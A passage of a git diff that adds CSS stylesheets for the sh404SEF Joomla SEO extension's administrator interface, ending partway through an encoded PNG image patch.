font-weight: bold; +} + +dt#qcontrol span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +dt#security span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +dt#infos span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +dt#stats span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +div.largertext { + display: inline; + font-size: 14px; + font-weight: bold; +} + +.shlargerkey { + font-size: 14px; + font-weight: bold; +} + +table.qcontrol { + border-collapse: collapse; + padding: 0; + margin: 0; +} + +table.qcontrol td { + padding: 1px 1px 1px 1px; + color: #666; +} + +table.qcontrol table.adminlist tbody tr td { + background: #f4f4f4; + border: none; +} + +table.qcontrol thead td { + background: #ffffff; + border: none; +} + +table.qcontrol td.spacer { + width: 10px; +} + +table.qcontrol td.divider { + border-right: 1px solid #e0e0e0; + width: 5px; +} + +table.qcontrol span { + float: none; + width: 80px; + height: 32px; + margin: 0 auto; + display: block; + background-position: center top; + background-repeat: no-repeat; +} + +table.qcontrol td.qbutton { + text-align: center; + margin: auto; +} + +table.qcontrol td.qbutton span { + height: 48px; +} + +table.qcontrol a { + display: block; + white-space: nowrap; + border: 1px solid #fbfbfb; + padding: 1px 5px; + cursor: pointer; +} + +table.qcontrol a:hover { + border-left: 1px solid #e0e0e0; + border-top: 1px solid #e0e0e0; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + text-decoration: none; + color: #0B55C4; +} + +table.qcontrol input.inputbox,table.qcontrol textarea.inputbox,table.qcontrol select.inputbox,table.qcontrol img.inputbox,table.qcontrol button.inputbox + { + float: left; + clear: none; + min-width: 0px; + margin: 5px 5px 5px 0px; +} + +table.qcontrol table.adminlist label { + float: left; + clear: none; + min-width: 0px; + margin: 5px 10px 5px 0px; +} + +div.sh404sef-toolbar-title { + font-size: 22px; + font-weight: bold; + color: #0B55C4; + line-height: 48px; + padding-left: 135px; + background-repeat: no-repeat; + margin-left: 10px; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; + width: 160px; +} + +.cp-block { + float: left; +} + +#left.cp-block { + width: 55%; +} + +#right.cp-block { + float: right; + width: 44%; +} + +#right-top { + width: 60%; +} + +div.cp-icons-config { + float: left; + width: 50%; +} + +div.cp-icons-others { + float: left; + width: 50%; +} + +#cpanel div.iconconfig { + text-align: center; + margin-right: 5px; + float: left; + margin-bottom: 5px; +} + +#cpanel div.iconconfig a { + display: block; + float: left; + border: 1px solid #e0e0e0; + height: 97px; + width: 108px; + color: green; + vertical-align: middle; + text-decoration: none; +} + +#cpanel div.iconconfig a:hover { + border-left: 1px solid #eee; + border-top: 1px solid #eee; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + background: #f9f9f9; + color: #0B55C4; +} + +#cpanel div.iconothers { + text-align: center; + margin-right: 5px; + float: left; + margin-bottom: 5px; +} + +#cpanel div.iconothers img,#cpanel div.iconconfig img { + float: none; +} + +#cpanel div.iconothers a { + display: block; + float: left; + border: 1px solid #e0e0e0; + height: 97px; + width: 108px; + /*color: #666; */ + color: blue; + vertical-align: middle; + text-decoration: none; +} + +#cpanel div.iconothers a:hover { + border-left: 1px solid #eee; + border-top: 1px solid #eee; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + background: #f9f9f9; + color: #0B55C4; +} + +#sh404sef-analytics-wrapper { + min-width: 300px; +} + +.analytics-report-image img { + display: block; + margin: 0 auto; +} + +div.hasAnalyticsTip { + display: inline; + margin-top: auto; + margin-bottom: auto; + width: auto; +} + +/*div.current input, div.current textarea, div.current select*/ +div.sh404sef-analytics select#accountId, div.sh404sef-analytics input#accountId, div.sh404sef-analytics textarea#accountId { + float: none; +} + +#sh-message-box ul{ + color: #0055BB; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #C3D2E5; + background-image: url(../images/notice-info.png); +} + +#sh-error-box ul{ + color: #c00; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #E6C0C0; + background-image: url(../images/notice-alert.png); + border-color: #DE7A7B; +} + +div.sh404sef-footer-container { + clear: both; + width: 100%; + border-top: 1px #DDDDDD solid; + background: none repeat scroll 0 0 #EDEDED; + text-align: center; + font-size: 11px; + font-style: italic; + width: 100%; + left: 0; + margin-bottom: 0.5em; + margin-top: 1.5em; + right: 0; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_editurl.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_editurl.css new file mode 100644 index 00000000..64441f0a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_editurl.css @@ -0,0 +1,70 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +.sh404sef-popup #content-box { + border-left: none; + border-right: none; +} + +.icon-48-sh404sef { background-image: url(../images/icon-48-sh404sef-logo.png); } +.icon-32-cpanel { background-image: url(../images/icon-32-cpanel.png); } + +div.sh404sef-toolbar-title { + font-size: 22px; font-weight: bold; color: #0B55C4; line-height: 48px; + padding-left: 135px; + background-repeat: no-repeat; + margin-left: 10px; +} + +.sh404sef-popup td.key { + text-align: right; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; +} + +div.mainurl { + + font-size: 22px; font-weight: bold; color: #0B55C4; line-height: 48px; + background-repeat: no-repeat; + text-align: center; + +} + +#sh-message-box ul{ + color: #0055BB; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #C3D2E5; + background-image: url(../images/notice-info.png); +} + +#sh-error-box ul{ + color: #c00; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #E6C0C0; + background-image: url(../images/notice-alert.png); + border-color: #DE7A7B; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_urls.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_urls.css new file mode 100644 index 00000000..44b2cfa5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_urls.css @@ -0,0 +1,11 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_cp.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_cp.css new file mode 100644 index 00000000..2e2eb31b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_cp.css @@ -0,0 +1,119 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +.icon-48-sh404sef { + background-image: url(../images/icon-48-sh404sef-logo.png); +} + +.icon-48-save { + background-image: url(../images/icon-48-save.png); +} + +div.largertext { + display: inline; + font-size: 14px; + font-weight: bold; +} + +.shlargerkey { + font-size: 14px; + font-weight: bold; +} + +div.sh404sef-toolbar-title { + font-size: 22px; + font-weight: bold; + color: #0B55C4; + line-height: 48px; + padding-left: 135px; + background-repeat: no-repeat; + margin-left: 10px; +} + +#toolbar-sh-progress-button-cpprogress { + float: right; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; + width: 160px; +} + +#sh404sef-analytics-wrapper { + min-width: 300px; +} + +.analytics-report-image img { + display: block; + margin: 0 auto; +} + +div.hasAnalyticsTip { + display: inline; + margin-top: auto; + margin-bottom: auto; + width: auto; +} + +/*div.current input, div.current textarea, div.current select*/ +div.sh404sef-analytics select#accountId,div.sh404sef-analytics input#accountId,div.sh404sef-analytics textarea#accountId + { + float: none; +} + +div.hero-unit { + text-align: left; +} + +div.tooltip-inner { + max-width: 300px; + text-align: justify; +} + +div.tooltip-inner h4 { + text-align: center; +} + +div.shl-center { + text-align: center; +} + +.table td.shl-center, td.shl-center { + text-align: center; +} + +div.shl-right { + text-align: right; +} + +div.shl-left { + text-align: left; +} + +div.analytics-report-image { + margin-bottom: 1.5em; +} + +/** +Fix for toolbar +*/ +@media ( min-width : 480px) { + .shl-secondary-toolbar { + display: none !important; + } +} + +@media ( max-width : 480px) { + .shl-secondary-toolbar { + display: inherit !important; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_editurl.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_editurl.css new file mode 100644 index 00000000..29db0b9d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_editurl.css @@ -0,0 +1,40 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +#editurl-container textarea { + width:90%; +} + +#editurl-container input { + width:90%; +} + +div.tooltip-inner { + max-width: 300px; + text-align: justify; +} + +div.tooltip-inner h4 { + text-align: center; +} + +div.tip-wrap { + max-width: 300px; +} + +.tip-title { + font-weight: bold; + font-size: 1.1em; + margin-bottom: 0.5em; +} +.tip-text { + text-align: justify; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_list.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_list.css new file mode 100644 index 00000000..ea491988 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j3_list.css @@ -0,0 +1,571 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +.table td.shl-left { + text-align: left; +} + +.table th.shl-left { + text-align: left; +} + +.table td.shl-left button.btn { + text-align: left; +} + +.table td.shl-centered { + text-align: center; +} + +.table td.shl-middle { + vertical-align: middle; +} + +.table td.shl-right { + text-align: right; +} + +.table th.shl-centered { + text-align: center; +} + +.table th.shl-right { + text-align: right; +} + +.table th.shl-list-id { + width: 4%; + text-align: center; +} + +.table td.shl-list-id { + text-align: right; + padding-top: 12px; + color: #999999; +} + +.table th.shl-list-check { + width: 2%; + text-align: center; +} + +.table td.shl-list-check { + text-align: center; + padding-top: 8px; +} + +.table th.shl-list-shurl { + width: 6%; + text-align: center; +} + +.table td.shl-list-shurl { + text-align: center; + padding-top: 10px; +} + +.table th.shl-list-rank { + width: 6%; + text-align: center; +} + +.table td.shl-list-rank { + text-align: center; + padding-top: 10px; +} + +.table th.shl-list-sef { + max-width: 250px !important; + width: 35%; + text-align: left; +} + +.table td.shl-list-sef { + text-align: left; + max-width: 250px !important; + width: 35%; + word-wrap: break-word; +} + +.table td.shl-list-sef span { + max-width: 250px !important; + word-wrap: break-word; +} + +.table td.shl-list-sef button { + text-align: left; + max-width: 250px !important; + word-wrap: break-word; +} + +.table th.shl-list-nonsef { + width: 25%; + text-align: left; +} + +.table td.shl-list-nonsef { + text-align: left; + max-width: 250px !important; + word-wrap: break-word; +} + +.table th.shl-list-icon { + width: 7%; + text-align: center; +} + +.table td.shl-list-icon { + padding-top: 12px; + text-align: center; +} + +.table th.shl-list-hits { + width: 5%; + text-align: center; +} + +.table td.shl-list-hits { + text-align: right; + padding-top: 10px; +} + +.table th.shl-list-metatitle { + width: 25%; + text-align: center; +} + +.table td.shl-list-metatitle { + text-align: center; + padding-top: 10px; +} + +.table th.shl-list-metadesc { + width: 25%; + text-align: center; +} + +.table td.shl-list-metadesc { + text-align: center; + padding-top: 10px; +} + +.table th.shl-list-large-buttons { + width: 27%; +} + +button.shl-line-wrap350 { + max-width: 350px !important; + word-wrap: break-word; +} + +td.shl-line-wrap350 { + max-width: 350px !important; + word-wrap: break-word; +} + +.shmodal-header h3 { + text-align: left; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; + width: 120px; +} + +div#sh-progress-cpprogress { + font-size: 13px; +} + +/** z-index fixes **/ +.shl-z-m-100 { + z-index: -100; +} + +.shl-z-m-200 { + z-index: -200; +} + +.shl-z-100 { + z-index: 100; +} + +.shl-z-200 { + z-index: 200; +} +/** main content **/ +.shl-main-content { + background-color: #fff; +} + +.shl-isis-white-top { + position: fixed; + top: 0; + left: 0; + background-color: #fff; + height: 78px; + width: 100%; +} + +/** modals **/ +.shmodal-content { + padding-top: 54px; +} + +div.shmodal-toolbar { + position: fixed; + background-color: #fff; + height: 54px; + z-index: 3000; + width: 100%; +} + +div.shmodal-toolbar-wrapper { + height: 30px; + margin-right: 6px; +} + +div.shmodal-toolbar div.alert { + padding: 8px; +} + +div.shmodal-toolbar-text { + display: inline-block; + padding-top: 6px; + float: left; +} + +div.shmodal-toolbar-buttons { + float: right; +} + +div#shl-modal-searchbar-right-block,div#shl-main-searchbar-right-block { + margin-left: 0; + padding-left: 8px; + background-color: #fff; +} + +div#shl-main-searchbar-right-block { + /* box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);*/ + +} + +div.shl-main-searchbar-wrapper { + z-index: 1010; + background-color: #fff; + height: 48px; + padding-top: 10px; + padding-bottom: 4px; + padding-left: 2%; + left: 0; +} + +div.shl-modal-searchbar-wrapper { + width: 100%; + background-color: #fff; + height: 34px; + padding-bottom: 4px; +} + +div.shl-bottom-box-shadow { + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2); +} + +div.shl-main-list-wrapper div.alert { + margin-top: 0px; + margin-bottom: 0px; +} + +div.shl-main-list-wrapper-padding { + padding-top: 48px; +} + +div.shl-modal-list-wrapper { + padding-top: 34px; + padding-left: 8px; +} + +/** Generic **/ +.shl-left-separator { + padding-left: 2%; +} + +.shl-right-separator { + padding-right: 2%; +} + +div.shl-fixed { + position: fixed; +} + +.shl-modal-searchbar-wrapper div.pagination-toolbar { + float: right; + margin-right: 5px; +} + +form.shl-no-margin,div.shl-no-margin { + margin: 0; +} + +div#shl-sidebar-container { + padding-top: 10px; + margin: 0; + z-index: 1020; +} + +.shl-no-margin-left,div.shl-no-margin-left { + margin-left: 0; +} + +div#COM_SH404SEF_DEF_404_PAGE .controls { + margin-left: 0; +} + +header.shl-fixed-header { + background-color: #184A7D; + background-image: linear-gradient(to bottom, #17568C, #1A3867); + background-repeat: repeat-x; + border-top: 1px solid rgba(255, 255, 255, 0.2); + padding: 5px; + left: 0; + right: 0; + top: 30; + position: fixed; + z-index: 1020; +} + +div.shl-fixed-subheader { + background: -moz-linear-gradient(center top, #FFFFFF 0%, #EDEDED 100%) + repeat scroll 0 0 transparent; + border-bottom: 1px solid #D3D3D3; + color: #0C192E; + margin-bottom: 10px; + text-shadow: 0 1px 0 #FFFFFF; + left: 0; + right: 0; + top: 77px; + position: fixed; +} + +div.shl-fixed-top-hidden { + height: 90px; +} + +/** collapsible main menu **/ +.shl-navbar { + margin-bottom: 8px; +} + +.shl-navbar-fixed-top .shl-navbar-inner,.shl-navbar-fixed-top .shl-navbar-inner .container-fluid + { + padding: 0; +} + +.shl-navbar .brand { + margin-top: 2px; +} + +.shl-navbar .btn-navbar { + margin-top: 3px; + margin-right: 3px; + margin-bottom: 3px; +} + +.shl-navbar .btn-navbar { + background-color: #5BB75B; + background-image: linear-gradient(to bottom, #62C462, #51A351); + background-repeat: repeat-x; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + margin-bottom: 2px; + display: block; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + box-shadow: 0 1px 0 rgba(255, 255, 255, 0.1) inset, 0 1px 0 + rgba(255, 255, 255, 0.075); + float: left; + margin-left: 5px; + margin-right: 5px; + padding: 7px 10px; +} + +.shl-navbar .btn-navbar.btn:hover { + background-color: #5BB75B; + background-position: 0; +} + +.shl-navbar .btn-navbar .icon-bar { + background-color: #F5F5F5; + border-radius: 1px 1px 1px 1px; + box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); + display: block; + height: 2px; + width: 18px; +} + +.shl-nav-collapse .nav .nav-header { + color: #fff; +} + +.shl-nav-collapse.collapse.in { + height: auto !important; +} + +.shl-nav-collapse .nav,.shl-navbar .shl-nav-collapse .nav.pull-right { + margin: 0; +} + +.shl-nav-collapse .dropdown-menu { + margin: 0; +} + +.shl-nav-collapse .nav>li>a.dropdown-toggle { + background-color: rgba(255, 255, 255, 0.07); + background-image: -moz-linear-gradient(top, rgba(255, 255, 255, 0.15), + rgba(255, 255, 255, 0.05) ); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(rgba(255, 255, 255, 0.15) + ), to(rgba(255, 255, 255, 0.05) ) ); + background-image: -webkit-linear-gradient(top, rgba(255, 255, 255, 0.15), + rgba(255, 255, 255, 0.05) ); + background-image: -o-linear-gradient(top, rgba(255, 255, 255, 0.15), + rgba(255, 255, 255, 0.05) ); + background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.15), + rgba(255, 255, 255, 0.05) ); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#26ffffff', + endColorstr='#0cffffff', GradientType=0 ); + font-size: 12px; + font-weight: bold; + color: #eee; + text-transform: uppercase; + padding-left: 15px; +} + +.shl-nav-collapse .nav li a { + margin-bottom: 0; + border-top: 1px solid rgba(255, 255, 255, 0.25); + border-bottom: 1px solid rgba(0, 0, 0, 0.5); +} + +.shl-nav-collapse .nav>li>a,.shl-nav-collapse .dropdown-menu a { + font-size: 15px; + font-weight: normal; + color: #fff; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.shl-nav-collapse .dropdown-menu li+li a { + margin-bottom: 0; +} + +/** at low width, remove stickiness of side and top bars **/ +@media ( max-width : 768px) { + div.shl-fixed,header.shl-fixed-header,div.shl-fixed-subheader { + position: inherit !important; + } + div.shl-fixed-top-hidden { + display: none !important; + } + header.shl-fixed-header { + left: 0; + right: 0; + top: inherit; + } + div.shl-fixed-subheader { + left: 0; + right: 0; + top: inherit; + } + div.shl-fixed-top-hidden { + height: 90px; + } + .shl-hidden-low-width,div.shl-hidden-low-width { + display: none !important; + } + #shl-main-menu-coll-container .btn { + text-align: left ! important; + } + div.shl-main-list-wrapper-padding { + padding-top: 0 ! important; + } + div.shmodal-toolbar { + position: inherit !important; + } + div.shl-modal-list-wrapper { + padding-left: 0 !important; + padding-top: 0 !important; + } + .shmodal-content { + padding-top: 5px !important; + } + div.shmodal-toolbar-buttons { + margin-top: 5px; + margin-bottom: 5px; + } + div.shmodal-toolbar-wrapper { + height: 100% !important; + } + div.shmodal-toolbar div.alert { + padding: 3px; ! important; + margin-bottom: 3px !important; + } + div.shl-main-searchbar-wrapper { + padding: 0 ! important; + height: auto !important; + clear: left; + } + div.shl-modal-searchbar-wrapper { + padding: 0 ! important; + margin-top: 5px ! important; + margin-bottom: 5px ! important; + height: auto !important; + clear: left; + } + div#shl-main-searchbar-right-block,div#shl-modal-searchbar-right-block { + padding-left: 0 !important; + } + div.shmodal-toolbar-buttons { + clear: left !important; + } + div#j-sidebar-container { + display: none !important; + } +} + +div.sh404sef-footer-container { + clear: both; + width: 100%; + border-top: 1px #DDDDDD solid; + background: none repeat scroll 0 0 #EDEDED; + text-align: center; + font-size: 11px; + font-style: italic; + width: 100%; + left: 0; + margin-bottom: 0; + position: fixed; + right: 0; + z-index: 1030; + bottom: 30px; +} + +/** at low height, fold main menu into a button **/ +@media ( min-height : 768px) { + #shl-main-menu-coll-container { + display: none; + } +} + +@media ( max-height : 768px) { + #shl-main-menu-full { + display: none; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/list.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/list.css new file mode 100644 index 00000000..9fab1f66 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/list.css @@ -0,0 +1,146 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +#sbox-btn-close { + display: none; +} + +#sbox-window.sh404sef-popup { + background-color: grey; +} + +#sbox-overlay.sh404sef-popup { + background-color: grey; +} + +.sh404sef-popup #content-box { + border-left: none; + border-right: none; +} + +.icon-32-main { + background-image: url(../images/icon-32-default.png); +} + +.icon-48-sh404sef { + background-image: url(../images/icon-48-sh404sef-logo.png); +} + +.icon-48-warning { + background-image: url(../images/icon-48-warning.png); +} + +.icon-32-purge { + background-image: url(../images/icon-32-purge.png); +} + +.icon-32-purgeselected { + background-image: url(../images/icon-32-purgeselected.png); +} + +.icon-32-home { + background-image: url(../images/icon-32-frontpage.png); +} + +.icon-32-cpanel { + background-image: url(../images/icon-32-cpanel.png); +} + +.icon-32-import { + background-image: url(../images/icon-32-import.png); +} + +.icon-32-export { + background-image: url(../images/icon-32-export.png); +} + +.icon-32-selectnfredirect { + background-image: url(../images/icon-32-default.png); +} + +.icon-32-deletedeldup { + background-image: url(../images/icon-32-delete.png); +} + +div.sh404sef-toolbar-title { + font-size: 22px; + font-weight: bold; + color: #0B55C4; + line-height: 48px; + padding-left: 135px; + background-repeat: no-repeat; + margin-left: 10px; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; +} + +div.mainurl { + font-size: 22px; + font-weight: bold; + color: #0B55C4; + line-height: 48px; + background-repeat: no-repeat; + text-align: center; +} + +div.sh404sef-red { + color: red; +} + +div.sh404sef-red-center { + color: red; + text-align: center; +} + +#sh-message-box ul { + color: #0055BB; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #C3D2E5; + background-image: url(../images/notice-info.png); +} + +#sh-error-box ul { + color: #c00; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #E6C0C0; + background-image: url(../images/notice-alert.png); + border-color: #DE7A7B; +} + +div.sh404sef-footer-container { + clear: both; + width: 100%; + border-top: 1px #DDDDDD solid; + background: none repeat scroll 0 0 #EDEDED; + text-align: center; + font-size: 11px; + font-style: italic; + width: 100%; + left: 0; + margin-bottom: 0.5em; + margin-top: 1.5em; + right: 0; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/wizard.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/wizard.css new file mode 100644 index 00000000..334b4839 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/wizard.css @@ -0,0 +1,83 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +.sh404sef-popup #content-box { + border: 1px solid #ccc; + -webkit-border-top-right-radius: 10px; + -webkit-border-top-left-radius: 10px; + -moz-border-radius-topleft: 10px; + -moz-border-radius-topright: 10px; + border-top-left-radius: 10px; + border-top-right-radius: 10px; +} + +.sh404sef-popup #toolbar-box { + padding: 0; + margin: 10px; +} + +.icon-48-sh404sef { background-image: url(../images/icon-48-sh404sef-logo.png); } +.icon-32-next { background-image: url(../images/icon-32-next.png); } +.icon-32-previous { background-image: url(../images/icon-32-previous.png); } +.icon-32-cancel { background-image: url(../images/icon-32-cancel-wizard.png); } +.icon-32-terminate { background-image: url(../images/icon-32-terminate.png); } + + +div.sh404sef-toolbar-title { + font-size: 22px; font-weight: bold; color: #0B55C4; line-height: 48px; + padding-left: 135px; + background-repeat: no-repeat; + margin-left: 10px; +} + +div.headerconfirm { + font-size: 22px; font-weight: bold; color: #0B55C4; line-height: 48px; + padding-left: 10px; + background-repeat: no-repeat; + margin-left: 10px; +} + +.sh404sef-popup td.key { + text-align: right; +} + +.sh-ajax-loading { + background-image: url(../images/sh-ajax-loader-wide.gif); + background-repeat: no-repeat; + background-position: center center; +} + +#sh-message-box ul{ + color: #0055BB; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #C3D2E5; + background-image: url(../images/notice-info.png); +} + +#sh-error-box ul{ + color: #c00; + background-position: 4px top; + background-repeat: no-repeat; + margin-bottom: 10px; + list-style: none; + padding: 10px; + border-top: 3px solid #84A7DB; + border-bottom: 3px solid #84A7DB; + background-color: #E6C0C0; + background-image: url(../images/notice-alert.png); + border-color: #DE7A7B; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/external-black.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/external-black.png new file mode 100644 index 0000000000000000000000000000000000000000..1c7e9040de453cc8145ee879faee94fbc4c23256 GIT binary patch literal 3621 zcmV+=4%+dFP)KLZ*U+5Lu!Sk^o_Z5E4Meg@_7P6crJiNL9pw)e1;Xm069{HJUZAPk55R%$-RIA z6-eL&AQ0xu!e<4=008gy@A0LT~suv4>S3ILP<0Bm`DLLvaF4FK%)Nj?Pt*r}7;7Xa9z9H|HZjR63e zC`Tj$K)V27Re@400>HumpsYY5E(E}?0f1SyGDiY{y#)Yvj#!WnKwtoXnL;eg03bL5 z07D)V%>y7z1E4U{zu>7~aD})?0RX_umCct+(lZpemCzb@^6=o|A>zVpu|i=NDG+7} zl4`aK{0#b-!z=TL9Wt0BGO&T{GJWpjryhdijfaIQ&2!o}p04JRKYg3k&Tf zVxhe-O!X z{f;To;xw^bEES6JSc$k$B2CA6xl)ltA<32E66t?3@gJ7`36pmX0IY^jz)rRYwaaY4 ze(nJRiw;=Qb^t(r^DT@T3y}a2XEZW-_W%Hszxj_qD**t_m!#tW0KDiJT&R>6OvVTR z07RgHDzHHZ48atvzz&?j9lXF70$~P3Knx_nJP<+#`N z#-MZ2bTkiLfR>_b(HgWKJ%F~Nr_oF3b#wrIijHG|(J>BYjM-sajE6;FiC7vY#};Gd zST$CUHDeuEH+B^pz@B062qXfFfD`NpUW5?BY=V%GM_5c)L#QR}BeW8_2v-S%gfYS= zB9o|3v?Y2H`NVi)In3rTB8+ej^> zQ=~r95NVuDChL%G$=>7$vVg20myx%S50Foi`^m%Pw-h?Xh~i8Mq9jtJloCocWk2Nv zrJpiFnV_ms&8eQ$2&#xWpIS+6pmtC%Q-`S&GF4Q#^mhymh7E(qNMa}%YZ-ePrx>>xFPTiH1=E+A$W$=bG8>s^ zm=Bn5Rah$aDtr}@$`X}2l~$F0mFKEdRdZE8)p@E5RI61Ft6o-prbbn>P~)iy)E2AN zsU20jsWz_8Qg>31P|s0cqrPALg8E|(vWA65poU1JRAaZs8I2(p#xiB`SVGovRs-uS zYnV-9TeA7=Om+qP8+I>yOjAR1s%ETak!GFdam@h^# z)@rS0t$wXH+Irf)+G6c;?H29p+V6F6oj{!|o%K3xI`?%6x;DB|x`n#ibhIR?(H}Q3Gzd138Ei2)WAMz7W9Vy`X}HnwgyEn!VS)>mv$8&{hQn>w4zwy3R}t;BYlZQm5)6pty=DfLrs+A-|>>;~;Q z_F?uV_HFjh9n2gO9o9Q^JA86v({H5aB!kjoO6 zc9$1ZZKsN-Zl8L~mE{`ly3)1N^`o1+o7}D0ZPeY&J;i;i`%NyJ8_8Y6J?}yE@b_5a zam?eLr<8@mESk|3$_SkmS{wQ>%qC18))9_|&j{ZT zes8AvOzF(F2#DZEY>2oYX&IRp`F#{ADl)1r>QS^)ba8a|EY_^#S^HO&t^Rgqwv=MZThqqEWH8 zxJo>d=ABlR_Bh=;eM9Tw|Ih34~oTE|= zX_mAr*D$vzw@+p(E0Yc6dFE}(8oqt`+R{gE3x4zjX+Sb3_cYE^= zgB=w+-tUy`ytONMS8KgRef4hA?t0j zufM;t32jm~jUGrkaOInTZ`zyfns>EuS}G30LFK_G-==(f<51|K&cocp&EJ`SxAh3? zNO>#LI=^+SEu(FqJ)ynt=!~PC9bO$rzPJB=?=j6w@a-(u02P7 zaQ)#(uUl{HW%tYNS3ItC^iAtK(eKlL`f9+{bJzISE?u8_z3;~C8@FyI-5j_jy7l;W z_U#vU3hqqYU3!mrul&B+{ptt$59)uk{;_4iZQ%G|z+lhASr6|H35TBkl>gI*;nGLU zN7W-nBaM%pA0HbH8olyl&XeJ%vZoWz%6?Y=dFykl=imL}`%BMQ{Mhgd`HRoLu6e2R 